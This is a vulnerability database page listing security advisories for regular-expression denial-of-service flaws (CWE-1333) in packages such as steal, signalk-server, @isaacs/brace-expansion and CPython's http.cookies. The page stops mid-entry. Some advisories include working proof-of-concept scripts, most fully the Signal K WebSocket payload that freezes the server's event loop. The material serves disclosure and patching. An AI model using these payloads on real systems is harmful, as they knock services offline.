Common Weakness Enumeration
CWE-1333
AllowedInefficient Regular Expression Complexity
Abstraction: Base · Status: Draft
The product uses a regular expression with a worst-case computational complexity that is inefficient and possibly exponential.
732 vulnerabilities reference this CWE, most recent first.
GHSA-7F3X-2WCX-HWW8
Vulnerability from github – Published: 2022-09-16 00:00 – Updated: 2023-09-07 18:49
VLAI
Summary
steal vulnerable to Regular Expression Denial of Service via input variable
Details
A Regular Expression Denial of Service (ReDoS) flaw was found in stealjs steal via the input variable in main.js.
Severity
7.5 (High)
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "steal"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "2.3.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-37260"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2022-09-21T21:07:36Z",
"nvd_published_at": "2022-09-15T19:15:00Z",
"severity": "HIGH"
},
"details": "A Regular Expression Denial of Service (ReDoS) flaw was found in stealjs steal via the input variable in main.js.",
"id": "GHSA-7f3x-2wcx-hww8",
"modified": "2023-09-07T18:49:54Z",
"published": "2022-09-16T00:00:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-37260"
},
{
"type": "WEB",
"url": "https://github.com/stealjs/steal/issues/1529"
},
{
"type": "PACKAGE",
"url": "https://github.com/stealjs/steal"
},
{
"type": "WEB",
"url": "https://github.com/stealjs/steal/blob/c9dd1eb19ed3f97aeb93cf9dcea5d68ad5d0ced9/main.js#L2490"
},
{
"type": "WEB",
"url": "https://github.com/stealjs/steal/blob/c9dd1eb19ed3f97aeb93cf9dcea5d68ad5d0ced9/main.js#L3344"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "steal vulnerable to Regular Expression Denial of Service via input variable"
}
GHSA-7GCJ-PHFF-2884
Vulnerability from github – Published: 2026-04-21 17:17 – Updated: 2026-04-21 17:17
VLAI
Summary
Signal K Server has an Unauthenticated Regular Expression Denial of Service (ReDoS) via WebSocket Subscription Paths
Details
Summary
The SignalK server is vulnerable to an unauthenticated Regular Expression Denial of Service (ReDoS) attack within its WebSocket subscription handling logic. By injecting unescaped regex metacharacters into the context parameter of a stream subscription, an attacker can force the server's Node.js event loop into a catastrophic backtracking loop when evaluating long string identifiers (like the server's self UUID). This results in a total Denial of Service (DoS) where the server CPU spikes to 100% and becomes completely unresponsive to further API or socket requests.
Description
The vulnerability stems from flawed string-to-regex conversion in signalk-server/src/subscriptionmanager.ts. The contextMatcher() and pathMatcher() functions convert wildcard strings (e.g., *) into regular expressions to match incoming data against client subscriptions.
While the code attempts to escape . and * characters, it fails to escape other dangerous regular expression metacharacters—such as +, (, ), ?, [, and ]. Because of this, an attacker can submit a crafted context that contains nested quantifiers (e.g., ([a-z0-9:-]+)+!). When the server attempts to test this malicious regex against legitimate, lengthy data identifiers (like vessels.urn:mrn:signalk:uuid:d384dc156010), the regex engine fails to find a match at the end of the string but initiates billions of catastrophic backtracking operations trying to resolve the nested combinations. Since Node.js runs on a single-threaded event loop, this locks up the thread indefinitely.
Affected Code Blocks & Files
File: signalk-server/src/subscriptionmanager.ts
Affected lines for Context subscriptions (282-300):
function contextMatcher(...) {
if (subscribeCommand.context) {
if (isString(subscribeCommand.context)) {
const pattern = subscribeCommand.context
.replace(/\./g, '\\.')
.replace(/\*/g, '.*')
const matcher = new RegExp('^' + pattern + '$') // VULNERABILITY: User input compiled into regex directly
return (normalizedDeltaData: WithContext) =>
matcher.test(normalizedDeltaData.context) ||
Affected lines for Path subscriptions (276-280):
function pathMatcher(path: string = '*') {
const pattern = path.replace(/\./g, '\\.').replace(/\*/g, '.*')
const matcher = new RegExp('^' + pattern + '$') // VULNERABILITY: Same issue here
return (aPath: string) => matcher.test(aPath)
}
Proof of Concept (PoC) Steps
const WebSocket = require('ws');
const http = require('http');
const HOST = 'localhost';
const PORT = 3000;
const WS_URL = `ws://${HOST}:${PORT}/signalk/v1/stream?subscribe=none`;
// Use the API endpoint to measure real server processing lag (requires JSON serialization)
const HTTP_URL = `http://${HOST}:${PORT}/signalk/v1/api/`;
console.log(`[+] Target Server API: ${HTTP_URL}`);
console.log(`[+] Target WebSocket: ${WS_URL}`);
let requestCount = 0;
// Polling function to check server responsiveness and compute delay
function checkServerStatus() {
const startTime = Date.now();
requestCount++;
const reqId = requestCount;
const req = http.get(HTTP_URL, (res) => {
let size = 0;
res.on('data', chunk => { size += chunk.length; });
res.on('end', () => {
const latency = Date.now() - startTime;
console.log(`[HTTP #${reqId}] API responded in ${latency}ms (Data size: ${size} bytes)`);
});
});
req.on('error', (err) => {
console.log(`[HTTP #${reqId} ERROR] Connection refused/dropped.`);
});
// Timeout if the event loop is blocked
req.setTimeout(2000, () => {
console.log(`[HTTP #${reqId} TIMEOUT] Server is completely blocked! Node event loop is frozen.`);
req.destroy();
});
}
// Start polling every 1 second
console.log('[+] Starting baseline HTTP polling...');
const pollInterval = setInterval(checkServerStatus, 1000);
// Wait a few seconds to establish a baseline, then launch the ReDoS
setTimeout(() => {
console.log(`\n[!] Initiating WebSocket connection to launch ReDoS attack...`);
const ws = new WebSocket(WS_URL);
ws.on('open', () => {
console.log('[+] WebSocket Connected! Sending catastrophic ReDoS payload...');
// This regex exploits the unescaped Regex metacharacters in context matcher.
// It forms: `^vessels\.([a-z0-9:-]+)+!$`
// When evaluated against `vessels.urn:mrn:signalk:uuid:xxx` (38+ characters),
// the nested quantifier `([a-z0-9:-]+)+` will result in 2^38 evaluations
// because it fails to find the '!' at the end. This reliably freezes V8.
const pocPayload = {
context: "vessels.([a-z0-9:-]+)+!",
announceNewPaths: true,
subscribe: [{ path: "*" }]
};
ws.send(JSON.stringify(pocPayload));
console.log('[!] Payload sent. The server should instantly freeze. Watch the HTTP pollers now...\n');
});
ws.on('error', (err) => {
console.error(`[-] WebSocket Error: ${err.message}`);
});
}, 3500);
// Automatically shut down the test after 15 seconds
setTimeout(() => {
console.log(`\n[+] Test complete. Stopping pollers.`);
clearInterval(pollInterval);
process.exit(0);
}, 15000);
Impact
This vulnerability achieves a complete Denial of Service (DoS) against the SignalK server. A single unauthenticated WebSocket connection can send the catastrophic payload, which permanently locks the main Node.js event loop.
Severity
7.5 (High)
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "signalk-server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.25.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-39320"
],
"database_specific": {
"cwe_ids": [
"CWE-1333",
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-21T17:17:00Z",
"nvd_published_at": "2026-04-21T01:16:05Z",
"severity": "HIGH"
},
"details": "## Summary\nThe SignalK server is vulnerable to an unauthenticated Regular Expression Denial of Service (ReDoS) attack within its WebSocket subscription handling logic. By injecting unescaped regex metacharacters into the `context` parameter of a stream subscription, an attacker can force the server\u0027s Node.js event loop into a catastrophic backtracking loop when evaluating long string identifiers (like the server\u0027s self UUID). This results in a total Denial of Service (DoS) where the server CPU spikes to 100% and becomes completely unresponsive to further API or socket requests.\n\n## Description\nThe vulnerability stems from flawed string-to-regex conversion in `signalk-server/src/subscriptionmanager.ts`. The `contextMatcher()` and `pathMatcher()` functions convert wildcard strings (e.g., `*`) into regular expressions to match incoming data against client subscriptions.\n\nWhile the code attempts to escape `.` and `*` characters, it fails to escape other dangerous regular expression metacharacters\u2014such as `+`, `(`, `)`, `?`, `[`, and `]`. Because of this, an attacker can submit a crafted `context` that contains nested quantifiers (e.g., `([a-z0-9:-]+)+!`). When the server attempts to test this malicious regex against legitimate, lengthy data identifiers (like `vessels.urn:mrn:signalk:uuid:d384dc156010`), the regex engine fails to find a match at the end of the string but initiates billions of catastrophic backtracking operations trying to resolve the nested combinations. Since Node.js runs on a single-threaded event loop, this locks up the thread indefinitely.\n\n## Affected Code Blocks \u0026 Files\n**File:** `signalk-server/src/subscriptionmanager.ts`\n\n**Affected lines for Context subscriptions (282-300):**\n```typescript\nfunction contextMatcher(...) {\n if (subscribeCommand.context) {\n if (isString(subscribeCommand.context)) {\n const pattern = subscribeCommand.context\n .replace(/\\./g, \u0027\\\\.\u0027)\n .replace(/\\*/g, \u0027.*\u0027)\n const matcher = new RegExp(\u0027^\u0027 + pattern + \u0027$\u0027) // VULNERABILITY: User input compiled into regex directly\n return (normalizedDeltaData: WithContext) =\u003e\n matcher.test(normalizedDeltaData.context) ||\n```\n\n**Affected lines for Path subscriptions (276-280):**\n```typescript\nfunction pathMatcher(path: string = \u0027*\u0027) {\n const pattern = path.replace(/\\./g, \u0027\\\\.\u0027).replace(/\\*/g, \u0027.*\u0027)\n const matcher = new RegExp(\u0027^\u0027 + pattern + \u0027$\u0027) // VULNERABILITY: Same issue here\n return (aPath: string) =\u003e matcher.test(aPath)\n}\n```\n\n## Proof of Concept (PoC) Steps\n\n```\nconst WebSocket = require(\u0027ws\u0027);\nconst http = require(\u0027http\u0027);\n\nconst HOST = \u0027localhost\u0027;\nconst PORT = 3000;\nconst WS_URL = `ws://${HOST}:${PORT}/signalk/v1/stream?subscribe=none`;\n// Use the API endpoint to measure real server processing lag (requires JSON serialization)\nconst HTTP_URL = `http://${HOST}:${PORT}/signalk/v1/api/`;\n\nconsole.log(`[+] Target Server API: ${HTTP_URL}`);\nconsole.log(`[+] Target WebSocket: ${WS_URL}`);\n\nlet requestCount = 0;\n\n// Polling function to check server responsiveness and compute delay\nfunction checkServerStatus() {\n const startTime = Date.now();\n requestCount++;\n const reqId = requestCount;\n \n const req = http.get(HTTP_URL, (res) =\u003e {\n let size = 0;\n res.on(\u0027data\u0027, chunk =\u003e { size += chunk.length; });\n res.on(\u0027end\u0027, () =\u003e {\n const latency = Date.now() - startTime;\n console.log(`[HTTP #${reqId}] API responded in ${latency}ms (Data size: ${size} bytes)`);\n });\n });\n\n req.on(\u0027error\u0027, (err) =\u003e {\n console.log(`[HTTP #${reqId} ERROR] Connection refused/dropped.`);\n });\n\n // Timeout if the event loop is blocked\n req.setTimeout(2000, () =\u003e {\n console.log(`[HTTP #${reqId} TIMEOUT] Server is completely blocked! Node event loop is frozen.`);\n req.destroy();\n });\n}\n\n// Start polling every 1 second\nconsole.log(\u0027[+] Starting baseline HTTP polling...\u0027);\nconst pollInterval = setInterval(checkServerStatus, 1000);\n\n// Wait a few seconds to establish a baseline, then launch the ReDoS\nsetTimeout(() =\u003e {\n console.log(`\\n[!] Initiating WebSocket connection to launch ReDoS attack...`);\n const ws = new WebSocket(WS_URL);\n\n ws.on(\u0027open\u0027, () =\u003e {\n console.log(\u0027[+] WebSocket Connected! Sending catastrophic ReDoS payload...\u0027);\n \n // This regex exploits the unescaped Regex metacharacters in context matcher.\n // It forms: `^vessels\\.([a-z0-9:-]+)+!$`\n // When evaluated against `vessels.urn:mrn:signalk:uuid:xxx` (38+ characters), \n // the nested quantifier `([a-z0-9:-]+)+` will result in 2^38 evaluations \n // because it fails to find the \u0027!\u0027 at the end. This reliably freezes V8.\n const pocPayload = {\n context: \"vessels.([a-z0-9:-]+)+!\",\n announceNewPaths: true,\n subscribe: [{ path: \"*\" }]\n };\n\n ws.send(JSON.stringify(pocPayload));\n console.log(\u0027[!] Payload sent. The server should instantly freeze. Watch the HTTP pollers now...\\n\u0027);\n });\n\n ws.on(\u0027error\u0027, (err) =\u003e {\n console.error(`[-] WebSocket Error: ${err.message}`);\n });\n\n}, 3500);\n\n// Automatically shut down the test after 15 seconds\nsetTimeout(() =\u003e {\n console.log(`\\n[+] Test complete. Stopping pollers.`);\n clearInterval(pollInterval);\n process.exit(0);\n}, 15000);\n```\n\u003cimg width=\"1003\" height=\"524\" alt=\"Screenshot 2026-03-29 101918\" src=\"https://github.com/user-attachments/assets/4b257c4c-f97a-4812-b812-ce2f235b6039\" /\u003e\n\n## Impact\n\nThis vulnerability achieves a complete **Denial of Service (DoS)** against the SignalK server. A single unauthenticated WebSocket connection can send the catastrophic payload, which permanently locks the main Node.js event loop. \n\n\u003cimg width=\"999\" height=\"153\" alt=\"Screenshot 2026-03-29 101820\" src=\"https://github.com/user-attachments/assets/54214d1c-252f-4533-ad02-14959ea2bed0\" /\u003e",
"id": "GHSA-7gcj-phff-2884",
"modified": "2026-04-21T17:17:00Z",
"published": "2026-04-21T17:17:00Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/SignalK/signalk-server/security/advisories/GHSA-7gcj-phff-2884"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39320"
},
{
"type": "WEB",
"url": "https://github.com/SignalK/signalk-server/pull/2568"
},
{
"type": "WEB",
"url": "https://github.com/SignalK/signalk-server/commit/215d81eb700d5419c3396a0fbf23f2e246dfac2d"
},
{
"type": "PACKAGE",
"url": "https://github.com/SignalK/signalk-server"
},
{
"type": "WEB",
"url": "https://github.com/SignalK/signalk-server/releases/tag/v2.25.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Signal K Server has an Unauthenticated Regular Expression Denial of Service (ReDoS) via WebSocket Subscription Paths"
}
GHSA-7H2J-956F-4VF2
Vulnerability from github – Published: 2026-02-03 19:41 – Updated: 2026-02-05 00:36
VLAI
Summary
@isaacs/brace-expansion has Uncontrolled Resource Consumption
Details
Summary
@isaacs/brace-expansion is vulnerable to a Denial of Service (DoS) issue caused by unbounded brace range expansion. When an attacker provides a pattern containing repeated numeric brace ranges, the library attempts to eagerly generate every possible combination synchronously. Because the expansion grows exponentially, even a small input can consume excessive CPU and memory and may crash the Node.js process.
Details
The vulnerability occurs because @isaacs/brace-expansion expands brace expressions without any upper bound or complexity limit. Expansion is performed eagerly and synchronously, meaning the full result set is generated before returning control to the caller.
For example, the following input:
{0..99}{0..99}{0..99}{0..99}{0..99}
produces:
100^5 = 10,000,000,000 combinations
This exponential growth can quickly overwhelm the event loop and heap memory, resulting in process termination.
Proof of Concept
The following script reliably triggers the issue.
Create poc.js:
const { expand } = require('@isaacs/brace-expansion');
const pattern = '{0..99}{0..99}{0..99}{0..99}{0..99}';
console.log('Starting expansion...');
expand(pattern);
Run it:
node poc.js
The process will freeze and typically crash with an error such as:
FATAL ERROR: JavaScript heap out of memory
Impact
This is a denial of service vulnerability. Any application or downstream dependency that uses @isaacs/brace-expansion on untrusted input may be vulnerable to a single-request crash.
An attacker does not require authentication and can use a very small payload to:
- Trigger exponential computation
- Exhaust memory and CPU resources
- Block the event loop
- Crash Node.js services relying on this library
Severity
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.0.0"
},
"package": {
"ecosystem": "npm",
"name": "@isaacs/brace-expansion"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.0.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-25547"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-03T19:41:15Z",
"nvd_published_at": "2026-02-04T22:16:00Z",
"severity": "HIGH"
},
"details": "### Summary\n\n`@isaacs/brace-expansion` is vulnerable to a Denial of Service (DoS) issue caused by unbounded brace range expansion. When an attacker provides a pattern containing repeated numeric brace ranges, the library attempts to eagerly generate every possible combination synchronously. Because the expansion grows exponentially, even a small input can consume excessive CPU and memory and may crash the Node.js process.\n\n### Details\n\nThe vulnerability occurs because `@isaacs/brace-expansion` expands brace expressions without any upper bound or complexity limit. Expansion is performed eagerly and synchronously, meaning the full result set is generated before returning control to the caller.\n\nFor example, the following input:\n\n```\n{0..99}{0..99}{0..99}{0..99}{0..99}\n```\n\nproduces:\n\n```\n100^5 = 10,000,000,000 combinations\n```\n\nThis exponential growth can quickly overwhelm the event loop and heap memory, resulting in process termination.\n\n### Proof of Concept\n\nThe following script reliably triggers the issue.\n\nCreate `poc.js`:\n\n```js\nconst { expand } = require(\u0027@isaacs/brace-expansion\u0027);\n\nconst pattern = \u0027{0..99}{0..99}{0..99}{0..99}{0..99}\u0027;\n\nconsole.log(\u0027Starting expansion...\u0027);\nexpand(pattern);\n```\n\nRun it:\n\n```bash\nnode poc.js\n```\n\nThe process will freeze and typically crash with an error such as:\n\n```\nFATAL ERROR: JavaScript heap out of memory\n```\n\n### Impact\n\nThis is a denial of service vulnerability. Any application or downstream dependency that uses `@isaacs/brace-expansion` on untrusted input may be vulnerable to a single-request crash.\n\nAn attacker does not require authentication and can use a very small payload to:\n\n* Trigger exponential computation\n* Exhaust memory and CPU resources\n* Block the event loop\n* Crash Node.js services relying on this library",
"id": "GHSA-7h2j-956f-4vf2",
"modified": "2026-02-05T00:36:54Z",
"published": "2026-02-03T19:41:15Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/isaacs/brace-expansion/security/advisories/GHSA-7h2j-956f-4vf2"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25547"
},
{
"type": "PACKAGE",
"url": "https://github.com/isaacs/brace-expansion"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "@isaacs/brace-expansion has Uncontrolled Resource Consumption"
}
GHSA-7HXQ-2VP3-4XMJ
Vulnerability from github – Published: 2022-09-03 00:00 – Updated: 2022-09-10 00:00
VLAI
Details
Apache OFBiz up to version 18.12.05 is vulnerable to Regular Expression Denial of Service (ReDoS) in the way it handles URLs provided by external, unauthenticated users. Upgrade to 18.12.06 or apply patches at https://issues.apache.org/jira/browse/OFBIZ-12599
Severity
7.5 (High)
{
"affected": [],
"aliases": [
"CVE-2022-29158"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-09-02T07:15:00Z",
"severity": "HIGH"
},
"details": "Apache OFBiz up to version 18.12.05 is vulnerable to Regular Expression Denial of Service (ReDoS) in the way it handles URLs provided by external, unauthenticated users. Upgrade to 18.12.06 or apply patches at https://issues.apache.org/jira/browse/OFBIZ-12599",
"id": "GHSA-7hxq-2vp3-4xmj",
"modified": "2022-09-10T00:00:30Z",
"published": "2022-09-03T00:00:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-29158"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/7k92rg1o4ql2yw3o0vttkcl2jhq7j928"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2022/09/02/5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-7MWH-4PQV-WMR8
Vulnerability from github – Published: 2022-07-02 00:00 – Updated: 2022-08-15 21:58
VLAI
Summary
Regular expression denial of service in scss-tokenizer
Details
All versions of the package scss-tokenizer prior to 0.4.3 are vulnerable to Regular Expression Denial of Service (ReDoS) via the loadAnnotation() function, due to the usage of insecure regex.
Severity
7.5 (High)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.4.2"
},
"package": {
"ecosystem": "npm",
"name": "scss-tokenizer"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.4.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-25758"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2022-07-06T21:07:13Z",
"nvd_published_at": "2022-07-01T20:15:00Z",
"severity": "HIGH"
},
"details": "All versions of the package `scss-tokenizer` prior to 0.4.3 are vulnerable to Regular Expression Denial of Service (ReDoS) via the `loadAnnotation()` function, due to the usage of insecure regex.",
"id": "GHSA-7mwh-4pqv-wmr8",
"modified": "2022-08-15T21:58:30Z",
"published": "2022-07-02T00:00:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-25758"
},
{
"type": "WEB",
"url": "https://github.com/sasstools/scss-tokenizer/issues/45"
},
{
"type": "WEB",
"url": "https://github.com/sasstools/scss-tokenizer/pull/49"
},
{
"type": "WEB",
"url": "https://github.com/sasstools/scss-tokenizer/commit/a53b6f233e648cc01acbdd89c58786cf8ba56e35"
},
{
"type": "PACKAGE",
"url": "https://github.com/sasstools/scss-tokenizer"
},
{
"type": "WEB",
"url": "https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-2936782"
},
{
"type": "WEB",
"url": "https://snyk.io/vuln/SNYK-JS-SCSSTOKENIZER-2339884"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Regular expression denial of service in scss-tokenizer"
}
GHSA-7PWV-G7HJ-39PR
Vulnerability from github – Published: 2024-08-19 21:35 – Updated: 2025-11-04 00:31
VLAI
Details
There is a LOW severity vulnerability affecting CPython, specifically the 'http.cookies' standard library module.
When parsing cookies that contained backslashes for quoted characters in the cookie value, the parser would use an algorithm with quadratic complexity, resulting in excess CPU resources being used while parsing the value.
Severity
7.5 (High)
{
"affected": [],
"aliases": [
"CVE-2024-7592"
],
"database_specific": {
"cwe_ids": [
"CWE-1333",
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-08-19T19:15:08Z",
"severity": "HIGH"
},
"details": "There is a LOW severity vulnerability affecting CPython, specifically the\n\u0027http.cookies\u0027 standard library module.\n\n\nWhen parsing cookies that contained backslashes for quoted characters in\nthe cookie value, the parser would use an algorithm with quadratic\ncomplexity, resulting in excess CPU resources being used while parsing the\nvalue.",
"id": "GHSA-7pwv-g7hj-39pr",
"modified": "2025-11-04T00:31:17Z",
"published": "2024-08-19T21:35:10Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-7592"
},
{
"type": "WEB",
"url": "https://github.com/python/cpython/issues/123067"
},
{
"type": "WEB",
"url": "https://github.com/python/cpython/pull/123075"
},
{
"type": "WEB",
"url": "https://github.com/python/cpython/commit/391e5626e3ee5af267b97e37abc7475732e67621"
},
{
"type": "WEB",
"url": "https://github.com/python/cpython/commit/44e458357fca05ca0ae2658d62c8c595b048b5ef"
},
{
"type": "WEB",
"url": "https://github.com/python/cpython/commit/a77ab24427a18bff817025adb03ca920dc3f1a06"
},
{
"type": "WEB",
"url": "https://github.com/python/cpython/commit/b2f11ca7667e4d57c71c1c88b255115f16042d9a"
},
{
"type": "WEB",
"url": "https://github.com/python/cpython/commit/d4ac921a4b081f7f996a5d2b101684b67ba0ed7f"
},
{
"type": "WEB",
"url": "https://github.com/python/cpython/commit/d662e2db2605515a767f88ad48096b8ac623c774"
},
{
"type": "WEB",
"url": "https://github.com/python/cpython/commit/dcc3eaef98cd94d6cb6cb0f44bd1c903d04f33b1"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2024/12/msg00000.html"
},
{
"type": "WEB",
"url": "https://mail.python.org/archives/list/security-announce@python.org/thread/HXJAAAALNUNGCQUS2W7WR6GFIZIHFOOK"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20241018-0006"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-7Q7G-4XM8-89CQ
Vulnerability from github – Published: 2024-11-15 20:47 – Updated: 2024-11-19 20:49
VLAI
Summary
Regular Expression Denial of Service (ReDoS) in @eslint/plugin-kit
Details
Crafting a very large and well crafted string can increase the CPU usage and crash the program.
POC
const { ConfigCommentParser } = require("@eslint/plugin-kit");
var str = "";
for (var i = 0; i < 1000000; i++) {
str += " ";
}
str += "A";
console.log("start")
var parser = new ConfigCommentParser();
console.log(parser.parseStringConfig(str, ""));
console.log("end")
// run `npm i @eslint/plugin-kit` and `node attack.js`
// then the program will stuck forever with high CPU usage
Severity
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@eslint/plugin-kit"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.2.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-21539"
],
"database_specific": {
"cwe_ids": [
"CWE-1333",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2024-11-15T20:47:31Z",
"nvd_published_at": "2024-11-19T05:15:16Z",
"severity": "LOW"
},
"details": "Crafting a very large and well crafted string can increase the CPU usage and crash the program.\n\n## POC\n\n```js\nconst { ConfigCommentParser } = require(\"@eslint/plugin-kit\");\n\nvar str = \"\";\nfor (var i = 0; i \u003c 1000000; i++) {\n str += \" \";\n}\nstr += \"A\";\n\nconsole.log(\"start\")\nvar parser = new ConfigCommentParser();\nconsole.log(parser.parseStringConfig(str, \"\"));\nconsole.log(\"end\")\n\n// run `npm i @eslint/plugin-kit` and `node attack.js` \n// then the program will stuck forever with high CPU usage\n```",
"id": "GHSA-7q7g-4xm8-89cq",
"modified": "2024-11-19T20:49:57Z",
"published": "2024-11-15T20:47:31Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/eslint/rewrite/security/advisories/GHSA-7q7g-4xm8-89cq"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-21539"
},
{
"type": "WEB",
"url": "https://github.com/eslint/rewrite/commit/071be842f0bd58de4863cdf2ab86d60f49912abf"
},
{
"type": "PACKAGE",
"url": "https://github.com/eslint/rewrite"
},
{
"type": "WEB",
"url": "https://security.snyk.io/vuln/SNYK-JS-ESLINTPLUGINKIT-8340627"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "Regular Expression Denial of Service (ReDoS) in @eslint/plugin-kit"
}
GHSA-7QQ7-PVM9-X8RF
Vulnerability from github – Published: 2025-03-20 12:32 – Updated: 2025-03-20 19:31
VLAI
Summary
H2O Vulnerable to Denial of Service (DoS) via `/3/ParseSetup` Endpoint
Details
A vulnerability in the /3/ParseSetup endpoint of h2oai/h2o-3 version 3.46.0.1 allows for a denial of service (DoS) attack. The endpoint applies a user-specified regular expression to a user-controllable string. This can be exploited by an attacker to cause inefficient regular expression complexity, leading to the exhaustion of server resources and making the server unresponsive.
Severity
7.5 (High)
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "h2o"
},
"ranges": [
{
"events": [
{
"introduced": "3.30.0.7"
},
{
"last_affected": "3.46.0.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "ai.h2o:h2o-core"
},
"ranges": [
{
"events": [
{
"introduced": "3.30.0.7"
},
{
"last_affected": "3.46.0.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-10550"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2025-03-20T19:31:56Z",
"nvd_published_at": "2025-03-20T10:15:17Z",
"severity": "HIGH"
},
"details": "A vulnerability in the `/3/ParseSetup` endpoint of h2oai/h2o-3 version 3.46.0.1 allows for a denial of service (DoS) attack. The endpoint applies a user-specified regular expression to a user-controllable string. This can be exploited by an attacker to cause inefficient regular expression complexity, leading to the exhaustion of server resources and making the server unresponsive.",
"id": "GHSA-7qq7-pvm9-x8rf",
"modified": "2025-03-20T19:31:56Z",
"published": "2025-03-20T12:32:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-10550"
},
{
"type": "PACKAGE",
"url": "https://github.com/h2oai/h2o-3"
},
{
"type": "WEB",
"url": "https://github.com/h2oai/h2o-3/blob/51c25940ded8b7d0acc8f3f72329fd9dedbb3a34/h2o-core/src/main/java/water/api/ParseSetupHandler.java#L121"
},
{
"type": "WEB",
"url": "https://huntr.com/bounties/ef3f4d89-3b8b-4618-b134-cb93c1664ec6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "H2O Vulnerable to Denial of Service (DoS) via `/3/ParseSetup` Endpoint"
}
GHSA-7W3M-2PW9-MG8X
Vulnerability from github – Published: 2026-06-03 21:30 – Updated: 2026-06-04 21:31
VLAI
Details
Version 3.0.7 of the Securly Chrome Extension downloads config.json over HTTP and compiles server-provided patterns as JavaScript regular expressions via new RegExp() without complexity validation. An on-path attacker can inject specific patterns to cause catastrophic backtracking, resulting in denial of service on all browsing.
Severity
7.5 (High)
{
"affected": [],
"aliases": [
"CVE-2026-8888"
],
"database_specific": {
"cwe_ids": [
"CWE-1333",
"CWE-917"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-03T19:16:39Z",
"severity": "HIGH"
},
"details": "Version 3.0.7 of the Securly Chrome Extension downloads config.json over HTTP and compiles server-provided patterns as JavaScript regular expressions via new RegExp() without complexity validation. An on-path attacker can inject specific patterns to cause catastrophic backtracking, resulting in denial of service on all browsing.",
